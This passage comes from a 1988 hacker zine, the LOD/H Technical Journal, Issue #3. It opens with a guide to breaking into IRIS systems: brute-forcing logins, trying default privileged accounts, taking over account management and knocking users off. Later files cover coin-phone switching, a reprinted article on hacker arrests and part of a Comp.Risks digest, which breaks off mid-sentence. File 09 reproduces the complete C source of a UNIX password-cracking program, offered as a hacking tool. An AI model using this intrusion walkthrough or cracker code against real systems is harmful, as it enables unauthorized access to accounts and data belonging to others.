c/r. You're in the system when you get a # prompt. If you've entered an incorrect ID, the normal error message would be: INVALID The nice thing about IRIS from a hacker point of view is that it will allow you to brute force hack your way in, never keeping a log of unsuccessful tries, and never hanging up on you. If you don't think your ID is being entered properly, you can turn the echo back on by first hitting a Control-E. If you suspect parity trouble on your login try hitting a Control-P to change the parity. Default Accounts ---------------- Try the account names below, and also try them with 1 or 2 spaces after them in upper and lower case. ACCOUNT COMMENTS Privelege level DDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDD MANAGER < works 99% of the time > 3 full system priv's BOSS < manager account > 3 full system priv's SOFTWARE < software dept account > 2 general user access DEMO < demonstration account > 1 scum of the earth priv's PDP8 < always on rev 7.0 > 3 full system priv's PDP11 < always on rev 7.0 > 3 full system priv's ACCOUNTING < accounting dept. > 2 general user Also try the company's name, or its intials. Sometimes system operators place control characters in their ID's, or spaces at the end of their account names, this security 'trick' is used due to the operating system not asking for passwords. Like PRIMOS version 18 systems, all you needed was a valid username to get in. There are plans of implementing passwords in the future for IRIS. YOU'RE IN! ---------- So you're in- hopefully with full priv's. The users Privilege Level may be 0, 1, 2, or 3 indicating General, Privileged, Manager, or Superuser privileges respectively. Only the Superuser account can access the ACCOUNTS file, but all level two accounts are given most other privileges that a level 3 account have. If you were able to log in with a privilege level of 3, you'll be allowed to run the program ACCOUNTUTILITY or ACCOUNTS, depending on the version of IRIS is running. This is almost always found on LU 0, along with all the other system utilities. ACCOUNTUTILITY is menu driven, and you should have no problem using it. Accounts File ------------- The Accounts File contains the following information Account ID Assigned priority Assigned Logical Unit # Account# Alloted CPU time Alloted disk blocks Number of disk blocks in use Peak # of disk blocks in use Net File Charges ACCOUNTUTILITY -------------- This program is for editing the accounts on the system. You must be a manager on the system to run this program, or else have a way to change the protection of BOTH the accounts file, and the ACCOUNTUTILITY program. If this is done, anyone can run the program. After typing ACCOUNTUTILITY you'll get the following menu: ACCOUNTS FILE MAINTENANCE REV 2.2 (0) EXIT TO SYSTEM (1) ADD NEW ACCOUNT (2) MODIFY ACCOUNT (3) DELETE ACCOUNT (4) INQUIRE ACCOUNT (5) LIST THE ACCOUNTS ENTER FUNCTION NUMBER: It's all pretty straightforward, I don't think I need to go on about this feature... What to do Inside ----------------- The first thing you want to do once inside IRIS is to issue the command PP which will show you who's on, and what they're currently doing. Sometimes PP has been renamed to PORT ALL MONITOR. If you logged in and it said your Logical Unit was not active, you must install the system under the MANAGER account. To do this, log in on a full privs account, and type IN, INSTALL, or FASTINSTALL. This should allow you to activate all the system's Logical Units. Normally, the Logical Units (referred to as LU's) range from 0-99, 99 being a ramdrive. If you choose to just install Logical Unit number one, the command would be INSTALL 0.1 and so on. If you are told Logical Unit x exists, change? DO NOT CHANGE IT! Instead, attempt to install a Logical Unit that doesn't already exist. To list all the files on the Logical Unit assigned to your account, type LIBR. To list only certain files type LIBR x where x = searchcriteria. To list the files on another LU, type LIBR x/ where x = the LU number. To list all the files that you have read access to, type LIBR @. To list only files that belong to you, type LIBR @g,r where g is your group, and u is your user #. To list files accessed within h hours, type LIBR >h where h is a decimal #. Anyway, you'll see something like this: #LIBR LOGICAL UNIT #0 JUL 30, 1988 19:50:03 * FILENAME[VOL] PROT COST SIZE ACCOUNT AGE HSLA TYPE PRIV HBA S ASM 33 $0.00 11 0, 1 11068 11068 401 3 400 B RUN 33 $0.00 21 0, 1 11068 0 602 3 344 T SU.DSUBS 22 $0.00 22 0, 1 11068 5 30 3 7 and so on.... Running Programs ---------------- Most Application Software for IRIS is written in business basic, which is basic with extended functions specifically for business applications. To execute a runnable file at the # prompt, just type the file's name. To exit into basic, just type BASIC. To run a program, simply type its name. To load a program type BASIC LOAD x where x = filename. To list a program once in basic, type X LIST X where, in both cases X = the line you want to list or simply type LIST to list all the lines of the program. File Type Chart Number Letter File Type 0 P Permanent System File 1 S System processor or file 2 B BASIC processor or program 3 A Stand alone processor or program 4 X EXECUTE processor or program 5 G GPM program 6 M MUMPS processor or program 7 W COURSE WRITER processor or program 20 Q Stand alone compiler 21 J Stand alone relocating assembler 22 L Stand alone relocatable loader 23 R Relocatable binary object tape image 24 I Indexed relocatable binary library 27 Z Temporary file 30 T Text file 31 F Formatted data file 32 C Contiguous data file 36 $ Peripheral device driver Passworded Files ---------------- Sometimes a password will be added to the end of a file name to limit access to users who have knowledge of the password. To access a passworded file, type the following: FILEX ^Epass^E The ^E is correctly represented as Control-E. The common defaults for passworded files are the letter X and the word THINK. Kicking Users off the System ---------------------------- This is something you do not want to do unless an emergency situation arises, in which case you would issue the PPP command. This is the port eviction utility. It will then ask you which port you would like to evict or you may type the word ALL to evict everyone but yourself. This is useful if you hang a printer port, or are afraid you may have dumped data to a printer which is offline. PORT.STAT --------- This command gives you the status of a given port, and its channels. to run it type: PORT.STAT PP -- PP lets you see who is on the system, what port they're on, what baud rate they're running, and what process they're running. Just type PP from the # prompt. IRIS will give you information about the ports on the system and then will ask you if you would like channel status. Either type in the channel that you wish to see the status of, or hit return to exit. GAMES ----- Yes, there are even games on IRIS, all the old PDP games hunt the wumpus, tic-tac-toe, etc...sure to provide hours of amusement. Changing the Baud Rate of a Port -------------------------------- To change a port's baud rate, type PORT BAUD x where x is a standard baud rate <110,300,600,1200,2400,9600,19200>. Don't change the baud rate of the port you are on. This command is useful for temporarily disabling a user. Copying Files ------------- Copy is a general purpose command for moving data of any type from a specified source to a specified destination. Also, data from several sources can be merged into one destination file. The general form of the copy command is: Copy dest = Source1,Source2 etc.... Where dest is the filename under which the destination file is to be built. Mail ---- To mail a one line message to another port, the following command applies: MAIL p "Hello My name is Joe Comosolo" where p = the port # to mail to. Loading Text Files ------------------ A text file can be loaded by use of the command: EDIT SFILE,DFILE an exclamation mark must be used to copy over an existing file. A new text file may be created by typing: EDIT,Filename If you just want to examine a text file, then just type EDIT Filename Some systems also have the TYPE filename command. BYELOG ------ This command allows you to edit the login message you receive before you are prompted for your account id. The syntax is: BYELOG message to be printed Logging Off ----------- >From the # prompt, type BYE and hit return. Conclusion ---------- I hope that article file proves useful. Keep it in your archives for the next time you stumble onto an IRIS system. If you have any questions, comments, or gripes, I can be reached on The Phoenix Project at 512/441-3088. The LOD/H Technical Journal, Issue #3: File 08 of 11 __________________________________________________________ @@ @@ @@ Coin Service, The Central Office, and You @@ @@ @@ @@ by @@ @@ @@ @@ Phase Jitter @@ @@ @@ @@ Legion of Doom! @@ @@______________________________________________________@@ In this file I will attempt to give a basic overview of how various central offices handle coin service. If you feel your interest grows due to this file there are other good technical documents about coin service, i.e. Bell System Practices, CDs, PDs ect.. Coin service is differentiated from other services by a special class of service. All switching systems give -48 volt battery toward the coin phone on the ring side of the line. Coin-First lines have an open TIP during a normal receiver-on-hook condition. When a line goes off hook the central office takes no action and in fact can not detect the off hook condition due to the line's conditioning-for-ground start. When the customer deposits money the coin ground is extended to the ring side of the line. The ground signals the line equipment in the central office as a to give a dial tone. Dial-Tone First offices give both the battery and ground to the coin station, thus providing a dial tone equivalent to a POTS phone. All coin service is super current sensitive. (The central office must give at least 23 milliamps of line current and 41 milliamps of coin control current to the farthest coin station.) The switching systems differ in the method which calls are handled. No. 5 Crossbar The No. 5 crossbar coin-first offices must have a dual wound line relay with both windings in series when dealing with a coin first situation. If any Coin-First lines are served in a No. 5 crossbar office the originating registers must be able to desensitize the (pulsing) L relay by providing a resistive ground throgh its tertiary winding via the coin class of service relay. Crossbar offices can give coin return from Originating Registers, TSPS/Cordboard trunks, Ring and Tone trunks, Announcement trunks, and Coin Supervisory circuits. Coin collect current is only given through TSPS/Cordboard trunks and Coin Supervisory circuits. The only circuit that can handle a stuck coin test is the coin supervisory circuit. Crossbar offices handle coin actions on locally completed calls in the coin supervisory circuit (CS). All trunks must have access to the CS circuit or use coin junctors or coin 1A0 trunks that have such access. The use of coin junctors or coin 1A0 trunks elimnate the need for other trunks to be hard wired to the Coin Supervisory Link. When the trunk's supervisory relays show a coin action is needed the trunk searches for an idle Coin Supervisory Circuit through the Coin Supervisory Link. The bridged connection allows the Coin Supervisory Circuit to give the proper collect or return current toward the coin telephone and test to see if the action was successful. Crossbar offices handle coin actions required by DDD calls or TSPS operators in the No. 5 crossbar TSPS trunk. The TSPS base unit signals the No. 5 office by either frequencies or multiwinks. The No. 5 office receives these signals and the trunk applies one pulse of coin collect or return or ring back. The No. 5 TSPS trunk dose not make a test to see if the required coin action is successful. If the coin is still present the call is dropped and the coin remains in the trap. ESS ESS offices provide all coin control actions from the Coin Control Circuit. The Coin Control Circuit is switched to a customers line under program control. The Coin Control Circuits always make a stuck coin test at the end of a call. ESS offices handle coin actions required by DDD or TSPS operators by scanning the TSPS trunk looking for any control signals from the TSPS base unit. When the ESS office sees a request on the TSPS trunk the ESS office opens the talking path and attaches a multifrequency (MF) reciever. The MF reciever looks at the tones being sent from the TSPS base unit transmitter and checks if the signal requested is a coin collect, coin return, ring back, or operator attached. Dial-Tone First (DTF) offices not equipped with expanded In-Band Signaling give +48V talk battery during operator attached and 48V talk batttery during the rest of the call. If the TSPS signals for coin return the ESS office will open the talk path again, release the MF receiver and switch the line to the Coin Control Circuit which applies -130V coin return potential. After the coin control function is finished the system will make on recycle attempt if the coin ground is still present. Local calls are handled within the ESS machine. When a coin control function is required the program momentarily opens the talk path and switches the line to a Coin Control C cuit which applies the required current. Step By Step Coin lines in a Step By Step area are served on dedicated Line Finder groups. The Line Finders are hardwired to a coin box trunk and then cabled to a first selector appearance. Step By Step offices can give coin return from coin box trunks, TSPS/Cordboard trunks, and other miscellaneous trunks. (My knowledge of Step By Step is vague, it's kind of like trying to research dinosaurs.) Step By Step offices handle coin actions on local calls in the coin box trunks. The coin box trunk applies the coin control current through the winding of a relay to the coin station hopper trigger ground. When the coin station ground disappears, the coin box trunk relay releases and allows the connection to restore to normal. Some Step By Step offices have a timed release circuit that will time out after about eight attempts of coin control action, peg the stuck coin register, then release. If the timed release circuit is not provided and a coin ground can not be removed, the circuit must be manually released. Step By Step offices handle coin actions required by DDD calls or TSPS operators in the Step By Step TSPS trunk. The TSPS base unit signals the Step office by either frequencies or multiwinks. The Step office trunk recicves these signals and trunk applies one pulse of coin collect, coin return or ring back. The trunk does not make a test to see if the action was successful. If a DDD call was completed to a busy number the Step By Step TSPS trunk will apply one quick pu e of coin return toward the coin station, then the coin box will check to see if the coin ground has disappeared. If the ground is still present the coin box trunk will repeat the attempt to collect the coin. If you have any further questions about how the central office handles coin service or about coin service in general, I can be reached via E-mail on The Phoenix Project at 512/441-3088. Oct 1988 - Phase Jitter....Legion of Doom/Hackers! The LOD/H Technical Journal, Issue #3: File 09 of 11 ----------------> UNIX Password Hacker: Courtesy of USENET <------------------ The following is an extensive unix password hacking program taken off USENET awhile back. It resembles Shooting Sharks' HPW.C program in some ways but this program has more options. Read the REM statements to determine what options you wish to enable. If nothing else, this program can give those who wish to write a similar program an idea of how and what you want to put in it. - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - - #include #include #include #define index strchr #ifndef lint static char *rcsid = "$Header: pwchkr.c,v 1.2 85/11/30 22:42:07 richl Exp $"; #endif /* * Warning: this program burns a lot of cpu. */ /* * pwchkr - find accounts with poor passwords Date: Tue, 29 Nov 83 18:19:32 pst From: leres%ucbarpa@Berkeley (Craig Leres) Modified by Seth Alford, Roger Southwick, Steve Dum, and Rick Lindsley for Tektronix */ /* * $Log: pwchkr.c,v $ * Revision 1.2 85/11/30 22:42:07 richl * Added code to allow for password aging. * * Revision 1.1 85/09/10 16:00:56 root * Initial revision * * * By default, this program only checks for accounts with passwords the same * as the login name. The following options add more extensive checking. (The * tradeoff is cpu time -- with all options enabled it can run into the 100's * of MINUTES.) Any argument that does not begin with a "-" is assumed to be * a file name. (A single '-' means stdin.) If no file name is given, * /etc/passwd is used. * * Options: * * -v: verbose -- list all guesses on stdout * -u: output teh username on the line of the password file * currently being checked. If the program stops * abruptly you will then know how far it got. * -w file: use the list of words contained in "file" as likely * passwords. Words in the file are one to a line. * -b: check all guesses backwards too * -g: use the Full Name portion of the gecos field to * generate more guesses * -s: check the single letters a-z, A-Z, 0-9 as passwords * -c: with each guess, check for all-lowercase and * all-uppercase versions too. * -n: complain about null passwords (default is to keep quiet) */ int verbose = 0, singles = 0, backwards = 0, checkgecos = 0, checkcase = 0, chknulls = 0, users = 0, chkwords = 0; char *index(), *reverse(); long atol(); FILE *fopen(); char *fgets(); char PASSWD[] = "/etc/passwd"; char EMPTY[] = ""; static FILE *pwf = NULL, *wlf = NULL; char line[BUFSIZ+1]; struct passwd passwd; char *Curpw, *Wordlist = NULL; main(argc, argv) char **argv; $ register int i; register char *arg; int onedone = 0; for (i = 1; i < argc; i++) if ((arg = argv[i]) && *arg == '-') while (*++arg) $ switch (*arg) $ case 'n': /* * complain about null passwords */ chknulls++; break; case 'c': /* * check cases */ checkcase++; break; case 'g': /* * use gecos */ checkgecos++; break; case 'v': /* * turn on motormouth */ verbose++; break; case 'b': /* * check all attempts forwards and backwards */ backwards++; break; case 's': /* * carry out a more intensive search, checking for * single letter passwords */ singles++; break; case 'u': /* * print out users as testing */ users++; break; case 'w': /* * consult word list of likely passwords */ if ((Wordlist = argv[i+1]) == NULL) $ fprintf(stderr, "%s: No file supplied with -w optionXn", argv[0]); exit (1);  argv[i+1] = NULL; break; case 'X0': /* * read from stdin */ break; default: fprintf(stderr, "%s: unknown option '%c'. Options are:Xn",argv[0], *arg); /* FALL THRU */ case '-': fprintf(stderr,"-v:XtXtverbose -- list all guesses on stdoutXn"); fprintf(stderr,"-u:XtXtoutput the username currently being checkedXn"); fprintf(stderr,"-w file:Xtconsult the indicated file for words to check as passwordsXn"); fprintf(stderr,"-b:XtXtcheck all guesses forwards and backwardsXn"); fprintf(stderr,"-g:XtXtuse the Full name portion of the gecos field for more guessesXn"); fprintf(stderr,"-s:XtXtcheck the single letters a-z, A-Z, 0-9 as passwordsXn"); fprintf(stderr,"-c:XtXtcheck the all-upper and all-lower case version of each guessXn"); fprintf(stderr,"-n:XtXtcomplain about null passwordsXn"); exit(1);  argv[i] = NULL;  for (i = 1; i < argc; i++) $ if (argv[i] == NULL) continue; onedone++; if (*(argv[i]) == '-') $ /* * read from stdin; we'll cheat and set pwf directly */ pwf = stdin; chkpw(); /* * don't fclose stdin! */ clearerr(stdin);  else $ if (setpwent(argv[i])) $ perror(argv[i]); continue;  Curpw = argv[i]; chkpw(); endpwent();   if (!onedone) $ Curpw = NULL; chkpw();  exit(0);  #define ARB_CONST 30000 chkpw() $ register char *cp, *cp2; register struct passwd *pwd; struct passwd *getpwent(); char guess[100]; char *wordarray[ARB_CONST]; char *malloc(), **wordptr, **endptr; int done = 0; if (Wordlist) $ if ((wlf = fopen(Wordlist,"r")) == NULL) $ perror(Wordlist); exit(1);  wordptr = wordarray; /* * note that endptr points to space OUTSIDE of wordarray */ endptr = wordarray + (sizeof(wordarray)/sizeof(char *)); while (fscanf(wlf,"%[^Xn]Xn",guess) != EOF) $ if (wordptr == endptr) $ fprintf(stderr,"Ran out of wordlist space. ARB_CONST %d must be too small.Xn", ARB_CONST); exit(1);  if ((*wordptr = malloc(1+strlen(guess))) == NULL) $ fprintf(stderr,"malloc: no more memory for wordlistXn"); exit (1);  strcpy(*wordptr,guess); wordptr++;  *wordptr = NULL;  while ((pwd = getpwent()) != 0 ) $ if (verbose || users) $ if (Curpw == NULL) printf("Xt%s X"%sX"Xn", pwd->pw_name, pwd->pw_gecos); else printf("%s -- Xt%s X"%sX"Xn", Curpw, pwd->pw_name, pwd->pw_gecos); fflush(stdout);  if (*pwd->pw_passwd == 'X0') $ if (chknulls) $ if (Curpw == NULL) printf("Problem: null passwd:Xt%sXtshell: %sXn", pwd->pw_name, pwd->pw_shell); else printf("%s -- Problem: null passwd:Xt%sXtshell: %sXn", Curpw, pwd->pw_name, pwd->pw_shell); fflush(stdout);  continue;  /* * Try the user's login name */ if (uandltry(pwd,pwd->pw_name)) continue; /* * Try names from the gecos field */ if (checkgecos) $ strcpy(guess, pwd->pw_gecos); cp = guess; if (*cp == '-') cp++; /* special gecos field */ if ((cp2 = index(cp, ';')) != NULL) *cp2 = 'X0'; for (;;) $ if ((cp2 = index(cp, ' ')) == NULL) $ if (uandltry(pwd,cp)) done++; break;  *cp2 = 'X0'; if (uandltry(pwd,cp)) $ done++; break;  cp = ++cp2;   if (!done && Wordlist) $ /* * try the words in the wordlist */ wordptr = wordarray; while (endptr != wordptr) $ if (*wordptr == NULL) break; if (uandltry(pwd,*wordptr++)) $ done++; break;    if (!done && singles) $ /* * Try all single letters * (try digits too . --Seth) */ guess[1] = 'X0'; for (guess[0]='a'; guess[0] <= 'z'; guess[0]++) if (try(pwd,guess)) break; for (guess[0]='A'; guess[0] <= 'Z'; guess[0]++) if (try(pwd,guess)) break; for (guess[0]='0'; guess[0] <= '9'; guess[0]++) if (try(pwd,guess)) break;    /* * Stands for "upper and lower" try. Calls the "real" try, below, * with the supplied version of the password, and with * an upper and lowercase version of the password. If the user doesn't * want to try upper and lower case then we just return after the one * check. */ uandltry (pwd,guess) char *guess; struct passwd *pwd; $ register char *cp; char buf[100]; int alllower, allupper; alllower = allupper = 1; if (try(pwd,guess) || (backwards && try(pwd,reverse(guess)))) return (1); if (!checkcase) return(0); strcpy (buf, guess); cp = buf-1; while (*++cp) $ if (isupper(*cp)) alllower = 0; if (islower(*cp)) allupper = 0;  if (!allupper) $ for ( cp=buf; *cp != 'X0'; cp++) if (islower (*cp)) *cp += 'A' - 'a'; if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);  if (!alllower) $ for ( cp = buf; *cp != 'X0'; cp++) if (isupper (*cp)) *cp += 'a' - 'A'; if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);  return (0);  try(pwd,guess) char *guess; register struct passwd *pwd; $ register char *cp; char *crypt (); if (verbose) $ if (Curpw == NULL) printf ("Trying X"%sX" on %sXn", guess, pwd -> pw_name); else printf ("%s -- Trying X"%sX" on %sXn", Curpw, guess, pwd -> pw_name); fflush (stdout);  if (! guess || ! *guess) return(0); cp = crypt (guess, pwd -> pw_passwd); if (strcmp (cp, pwd -> pw_passwd)) return (0); if (Curpw == NULL) printf ("Problem: Guessed:Xt%sXtshell: %s passwd: %sXn", pwd -> pw_name, pwd -> pw_shell, guess); else printf ("%s -- Problem: Guessed:Xt%sXtshell: %s passwd: %sXn", Curpw, pwd -> pw_name, pwd -> pw_shell, guess); fflush (stdout); return (1);  /* end of PW guessing program */ #define MAXUID 0x7fff /* added by tonyb 12/29/83 */ /* altered to a reasonable number - mae 8/20/84 */ /* * Add a parameter to "setpwent" so I can override the file name. */ setpwent(file) char *file; $ if ((pwf = fopen(file,"r")) == NULL) return(1); return(0);  endpwent() $ fclose(pwf); pwf = NULL;  char * pwskip(p) register char *p; $ while(*p && *p != ':' && *p != 'Xn') ++p; if(*p == 'Xn') *p = 'X0'; else if(*p) *p++ = 'X0'; return(p);  struct passwd * getpwent() $ register char *p; long x; if(pwf == NULL) if (setpwent(PASSWD)) $ perror(PASSWD); return(NULL);  p = fgets(line, BUFSIZ, pwf); if(p == NULL) return(0); passwd.pw_name = p; p = pwskip(p); passwd.pw_passwd = p; p = pwskip(p); x = atol(p); passwd.pw_uid = (x < 0 || x > MAXUID)? (MAXUID+1): x; p = pwskip(p); x = atol(p); passwd.pw_gid = (x < 0 || x > MAXUID)? (MAXUID+1): x; passwd.pw_comment = EMPTY; p = pwskip(p); passwd.pw_gecos = p; p = pwskip(p); passwd.pw_dir = p; p = pwskip(p); passwd.pw_shell = p; (void) pwskip(p); p = passwd.pw_passwd; /* while(*p && *p != ',') p++; if(*p) *p++ = 'X0'; passwd.pw_age = p; */ return(&passwd);  /* * reverse a string */ char *reverse(str) char *str; $ register char *ptr; register int len; char *malloc(); if ((ptr = malloc((len = strlen(str))+1)) == NULL) return(NULL); ptr += len; *ptr = 'X0'; while (*str && (*--ptr = *str++)) ; return(ptr);  - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - - The LOD/H Technical Journal, Issue #3: File 10 of 11 ----------------> Clearing up the Mythical LOD/H Busts <------------------ Following is an article taken from Pirate-80 that Scan Man typed up which talks about the summer busts of 87. They called it the "LOD" case but as usuall, they were disillusioned. Our guess is that Oryan Quest was one of the first to be investigated, and due to his calling of other hackers when a DNR was on his line, led the authorities to the others who were eventually visited. Oryan claimed he was in LOD and this is where they must have gotten the idea that everyone he spoke to was in LOD also. In this respect the article is rather humorous in that they caught people who were not in LOD/H. Normally we would not put reprints of magazine articles in the LOD/H Technical Journal, but seeing how it is relevant in clearing up any misconceptions, we decided to put it in. ------------------------------------------------------------------------------ Remember, Oryan Quest is *NOT* now, *NEVER* has, and *NEVER* will be in LOD/H! ------------------------------------------------------------------------------ From: SCAN MAN To: ALL Subj: LEGION OF DOOM BUST WAR AGAINST PHONE HACKING HEATS UP BY GREGG PEARLMAN, ANTIC ASSISTANT EDITOR Computer break-ins are no longer viewed as harmless pranks. For example, unauthorized computer access is a misdemeanor under 502PC of the California Penal Code if you just trespass and browse around -- and if it's your first offense. But: "Any person who maliciously accesses, alters, deletes, damages, destroys or disrupts the operation of any computer system, computer network, computer program or data is guilty of public offense" -- a felony under Section C of that code. Even changing a password to "Gotcha" is a felony if it can be proven that it was a "malicious access." In California, the maximum punishment is state imprisonment, a $10,000 fine and having your equipment confiscated. The penalty depends on who you are, your prior record and the seriousness of the crime. And you don't have to, for instance, breach national security to be guilty of a felony. Accessing even a simple system of a small company could damage vital data for more than a year's worth of business, especially if that company didn't properly back up its data. There are all kinds of computer crime. Stealing an automated teller machine card and withdrawing money from an account is a computer crime because you're using a computer to get money out of a system. But simply trespassing in a system and not doing any damage is normally a misdemeanor, according to Sgt. John McMullen of the Stanford University Police Services. This kind of crime has become very common. "Every kid with a computer is tempted," he said. Unfortunately, it can take months to complete an investigation. For instance, the so-called "LEGION OF DOOM" case, beginning in September, 1986, took 10 months to solve and involved people in Maryland, New York, Pennsylvania, Oregon and California. If someone breaks into the computers of, for example, California's Pacific Bell, and the break-in is severe, Pacific Bell Security gets warrants issued, and then, with the police, confiscates computers, manuals, telephone lists and directories -- all related equipment. It's common for the computer to be tied up for a few months as evidence. (And by the time Pacific Bell Security does get involved, the evidence is usually overwhelming -- the conviction rate is extremely high.) "Whenever I'm involved in a case," said McMullen, "I ask the judge for permission to confiscate the equipment. That's one big incentive for hackers not to do this kind of stuff. I haven't had any repeaters, but I know of one case where the guy probably WILL do it again when he gets out. "Usually the shock of what happens to a juvenile's parents -- who bought the equipment and watched it get confiscated -- is enough to make them stop. But we don't really have enough cases to know what the parents do." ACCESS "It's easy for hackers to find company phone numbers," said Daniel Suthers, Atari user and operations manager at Pacific Bell in Concord, California. "Most large companies have a block of 500 to 1,000 phone numbers set aside for their own use. At least one line will have a modem. "People post messages on hacker/phreaker bases on some BBS's and say 'I don't know who this phone number belongs to, but it's a business, judging by the prefix, and has a 1200-baud tone.' Then it's open season for the hackers and phreakers." Phreakers aren't much different than hackers -- they're just specifically telephone-oriented. In "CompuTalk: Texas-Sized BBS" (Antic, August 1987), sysop Kris Meier discussed phreakers who appear to have called from phone numbers other than the ones they were actually using. A computer isn't needed to do this -- it's usually done with a "blue box." "The blue boxes were used mostly in the late 1960s and early '70s," said McMullen. "They fool the network and let people make free long distance calls -- a tone generator simulates the signalling codes used by long distance operators. The boxes were phased out a couple of years ago, though: they no longer let hackers access AT&T, but Sprint and MCI can be accessed by something similar. However, computer programs are normally used now." To get long-distance phone service, hackers now use one of several programs passed among other hackers (on bulletin boards, for example). They find the local access number for Sprint or MCI and then run the program -- perhaps for a few days. It generates and dials new phone numbers, and the hackers can check to see how many new or free codes they've turned up. They can post the codes on a BBS, and their friends will use them until they get stopped by the long-distance company -- depending on how long it takes the company to realize that these numbers hadn't been issued yet -- or until the customers discover that their numbers have been accessed by someone who isn't "authorized." Bulletin boards can be especially easy prey. "If a hacker knew your BBS program intimately, he could probably figure it out, but that's messy," said Suthers. "If he can find a back door, it's easier. Sysops are notorious for putting in their own back doors because, though they have all the security under the sun on the FRONT doors, they still want to get in without problems. It's just like what happened in the films Tron and Wargames -- which probably taught a whole generation a lot of things." Meier had said in the August, 1987 issue of Antic that someone once called his board COLLECT. Simply put, the caller fooled the operator. McMullen says that's been around for a long time. "It's common in prisons and situations where the phones are restricted." McMullen also said that if the timing is just right, as soon as the modem answers, the phreaker can wait for an operator to say "Will you accept the charges," then say "Yes." The operator can't tell which end said yes, and if the modem has a long delay before the connect tone, the phreaker can get away with it. It couldn't be done entirely electronically -- the voice contact is needed. "I've never run across people accessing online services such as CompuServe in this way, but I'm sure it happens," said McMullen. "People suddenly get strange charges on their phone bills. "The hackers I've dealt with are very brilliant and good at what they do. Of course, when you do something all day that you're really interested in, you're GOING to be good at it." DOOM McMullen's most recent hacker case at Stanford University dealt with the Legion of Doom, an elite group of hackers who broke into computers -- some containing national defense-related items. "As I understand it, they're supposed to be the top hackers in the nation," McMullen said. "I started investigating the case when it began crossing state lines, getting a bit too big. I contacted the FBI, who said that because of the Secret Service's jurisdiction over credit card and telephone access fraud, they'd taken over computer crime investigations that go across state lines -- actually, anything involving a telephone access code. This case, of course, involved access codes, because the Sprint and AT&T systems were used, and it was the Secret Service, not the FBI, that made the arrests. "I think that the publicity from this case will scare people, and there'll be a lot less hacking for a while. Some hackers are afraid to do anything: they're afraid that the Secret Service is watching them, too." TRACING AT&T, Sprint and MCI now have ANI -- Automatic Number Identification -- as does Pacific Bell. It aids a great deal in detecting hackers. Pacific Bell usually just assists in this type of investigation and identifies the hackers. "It's easy to trace a call if the caller logs in more than once," said Suthers. "The moment they dial in, a message is printed out -- before the phone even answers -- pinpointing where it came from, where it went to, the whole shmeer. "A blue box made it much harder to detect, but if a hacker used it consistently, we could eventually trace it back. So if someone is in California and makes it look as if he'd called from New York, we can trace it across the country one way, and then back across. Generally, though if the call IS billed to a New York number, the caller is actually somewhere like Florida. But we can back-trace the call itself, especially if it's extremely long." But recently someone broke into Pacific Bell "through a fluke of circumstances." Suthers said, "We closed down that whole area, so they can't get back in that way, but if they dial the number again, they're in trouble." If Pacific Bell Security detects a break-in, the area is secured immediately. Sometimes hackers are steered toward a kind of "pseudo-system" that makes them THINK they've broken in -- but in fact they're being monitored and traced. As to how many hackers there are, who knows? There's a lot of misuse and inside work that's never detected or reported. SECURITY Security systems are expensive, but someone with a lot of data and an important system should seriously look into one. Very few hackers are caught, simply because few corporations have good security systems. "Passwords should never be names, places or anything that can be found in a dictionary," said Suthers. "People shouldn't be able to just write a program to send words from their AtariWriter Plus dictionary disk. Normally there should be a letter here, a few numbers there -- garbage. Thus, if someone writes a program to generate random symbols and keeps calling back until he breaks in, he'll probably be traced. "Some corporations aren't very computer literate and don't worry about things like passwords until they've been hit, which is a shame. But it's all out there in the books. TRICKS OF THE UNIX MASTER (by Russell Sage, published by SAMS Publications, $22.95) is a beautiful book that tells you exactly what to do to avoid break-ins." McMullen said that Stanford is trying to tighten up security by emphasizing the importance of better passwords. "When researchers want to do their work, however, they don't want to mess with passwords and codes," he said. "Universities seem to want to make their systems easier for researchers to use. The more accessible it is, obviously, the less security there is in terms of passwords. It's easier to use your name as a password than some complicated character string. "So any hacker worth his salt can go onto any computer system and pull out an account. Especially with UNIX, it's very easy to access it, entering as the password the first name of the person who has the account. These Legion of Doom hackers used a program that actually found out what the passwords were: it began by just checking the names. They were very successful -- it was just unbelievable." But McMullen feels that security fell way behind the advances made in computers, and several avenues were left open for people to explore. "Often these hackers don't mean to be malicious or destructive," he said, "but I think they really feel triumphant at getting on. Sometimes they do damage without realizing it, just by tramping through the system: shutting down phone lines, programs and accounting systems." However, the strides made in security since then have accounted for arrests, confiscations and convictions all over the country -- but there are still many more to come. The LOD/H Technical Journal, Issue #3: File 11 of 11 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $ $ $ Network News & Notes $ $ $ $ Compiled from Comp.Risks Digest $ $ by $ $ The Mentor $ $ $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Comp.Risks Digest is a USENET distributed newsletter on risks to the public from computer-related systems. It is frequently one of the first places that bugs in operating systems show up. These are some of the more interesting posts that have appeared in the past month. ---------------------------------------------------------------------------- Date: Wed, 5 Oct 88 12:35:37 EDT From: Dave Wortman Subject: Emergency Access to Unlisted Telephone Numbers The article below was originally posted to misc.consumers. I thought it might be of interest to RISKS readers as an example of a well-thought-out set of administrative procedures designed to balance the needs of protection of privacy and response to emergency situations. ======================================================================= All examples in this message pertain to Illinois Bell Telephone Company, which covers the Chicago metropolitan area, and quite a bit of the rest of Illinois. There are three types of phone numbers which do not appear in the printed and publicly available directory: (1) Too new to list (2) Non-listed (3) Non-pub. [discussion of types (1) and (2) deleted.] The third category of numbers not in the phone book or available from the Directory Assistance Bureau are non-published numbers. Non-pub numbers are NOT available at the Directory Assistance level. Inquiries about same which are input into a DA terminal simply come up with a message that 'at the customer's request, the number is not listed in our records; the number is non-published.' Well, who does keep non-pub records then? The Business Office has no handy way to retrieve them, since they depend on an actual phone number when they pull up a record to discuss an account. Once a service order is processed, the number and associated name are no longer available to the average worker in the central office. There was for several years a small group known as the 'NonPub Number Bureau' which at the time was located in Hinsdale, IL. Needless to say, the phone number to the NonPub Number Bureau was itself non-published, and was only available to specified employees at Bell who were deemed to have a 'need to know'. Now I think with all the records being highly computerized, the keepers of the non-pub phone numbers are themselves scattered around from one phone office to another. When there is some specific need for an employee at the phone company to acquire the 